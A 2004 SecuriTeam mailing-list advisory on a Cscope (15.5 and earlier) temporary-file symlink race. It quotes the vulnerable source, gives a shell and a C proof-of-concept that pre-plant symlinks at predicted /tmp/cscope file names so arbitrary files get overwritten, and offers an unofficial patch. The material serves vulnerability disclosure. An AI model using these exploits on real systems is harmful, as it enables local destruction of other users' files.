[UNIX] CScope - Race Condition on Temporary File

From: SecuriTeam (support_at_securiteam.com)
Date: 11/18/04

  • Next message: SecuriTeam: "[EXPL] SLMail PASS Buffer Overflow" 
    To: list@securiteam.com
Date: 18 Nov 2004 18:28:50 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      CScope - Race Condition on Temporary File
    ------------------------------------------------------------------------

    SUMMARY

     <http://cscope.sourceforge.net/> Cscope is a developer's tool under the
    BSD license used to browse source code. CScope is vulnerable to temporary
    file symlink vulnerability allowing a local attacker to delete arbitrary
    files in the system with CScope's privileges.

    DETAILS

    Vulnerable Systems:
     * Cscope Version 15.5 and lower

    The temporary directory (P_tmpdir="/tmp") is badly handled in every
    myfopen() call. As we all know creation of predictable temporary file
    allows any local attacker to remove arbitrary files on the vulnerable file
    system via the infamous symlink vulnerability.

    Vulnerable Code:
    /src/main.c :
    ----------;
    [...]
    char temp1 [PATHLEN + 1]; /* temporary file name */
    char temp2 [PATHLEN + 1]; /* temporary file name */
    [...]
    tmpdir = mygetenv("TMPDIR", TMPDIR);
    [...]
    /* create the temporary file names */
    pid = getpid();
    (void) sprintf(temp1, "%s/cscope%d.1", tmpdir, pid);
    (void) sprintf(temp2, "%s/cscope%d.2", tmpdir, pid);
    [...]

    Before us are the computing of two predictable files names (resulting in a
    schema like "/tmp/cscopeNEXTPID.number"). So, we just have to probe the
    pid number and make the same template which to be used for temporary file
    creation. Then, CScope handle the files with wrong set of flags and
    compromise root file system due to symlink vulnerability.

    Proof of Concept Code:
    #!/bin/sh
    #################################################################
    # RXcscope_proof.sh
    # brute force case baby
    # cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
    #################################################################

    HOWM=30
    CURR=`ps | grep ps | awk '{print $1}'`
    NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
    LAST=`expr $NEXT + $HOWM`

    echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
            " [versions 15.5 and minor]\n"\
            " Gangstuck / Psirac\n"\
            " <research@rexotec.com>\n\n"

    if [ $# -lt 1 ]; then
            echo "Usage: $0 <file1> [number_of_guesses]"
            exit 1
    fi

    rm -f /tmp/cscope*

    echo "Probed next process id ........ [${NEXT}]"

    while [ ! "$NEXT" -eq "$LAST" ]; do
            ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
            ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
    done

    ---8<--------8<-------cut-here-------8<---------8<---

    /* RXcscope exploit version 15.5 and minor */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BSIZE 64

    int
    main(int ac, char *av[]) {
            pid_t cur;
            u_int i=0, lst;
            char buffer[BSIZE + 1];
            
            fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
                            " version 15.5 and minor \n" \
                            " Gangstuck / Psirac\n" \
                            " <research@rexotec.com>\n\n");
                            
            if (ac != 3) {
                    fprintf(stderr, "Usage: %s <target> <max file
    creation>\n", av[0]);
                    return 1;
            }
            
            cur=getpid();
            lst=cur+atoi(av[2]);
            
            fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                            " -> Last process id is ........ [%5d]\n", cur,
    lst);
            
            while (++cur != lst) {
                    snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur,
    (i==2) ? --i : ++i);
                    symlink(av[1], buffer);
            }

            return 0;
    }

    Unofficial Patch:
    /*
     * Cscope patch by REXOTEC - version 15-5 and minors
     * <research@rexotec.com>
     */
    diff -Naurp src/build.c src/build.c
    --- src/build.c 2003-03-05 11:43:59.000000000 +0100
    +++ src/build.c 2004-11-17 15:01:01.000000000 +0100
    @@ -333,7 +333,7 @@ build(void)
                    (void) fprintf(stderr, "cscope: cannot open file %s\n",
    reffile);
                    myexit(1);
            }
    - if (invertedindex == YES && (postings = myfopen(temp1, "wb")) == NULL) {
    + if (invertedindex == YES && (postings = myfopen(temp1, "w+xb")) == NULL)
    {
                    cannotwrite(temp1);
                    cannotindex();
            }
    diff -Naurp src_old/display.c src/display.c
    --- src/display.c 2003-09-04 17:54:02.000000000 +0200
    +++ src/display.c 2004-11-17 15:01:01.000000000 +0100
    @@ -754,13 +754,13 @@ BOOL
     writerefsfound(void)
     {
            if (refsfound == NULL) {
    - if ((refsfound = myfopen(temp1, "wb")) == NULL) {
    + if ((refsfound = myfopen(temp1, "w+xb")) == NULL) {
                            cannotopen(temp1);
                            return(NO);
                    }
            } else {
                    (void) fclose(refsfound);
    - if ( (refsfound = myfopen(temp1, "wb")) == NULL) {
    + if ( (refsfound = myfopen(temp1, "w+xb")) == NULL) {
                            postmsg("Cannot reopen temporary file");
                            return(NO);
                    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:research@rexotec.com>
    Gangstuck / Psirac.
    The original article can be found at:
    <http://www.rexotec.com/advisory/RX171104.html>
    http://www.rexotec.com/advisory/RX171104.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] SLMail PASS Buffer Overflow"

    Relevant Pages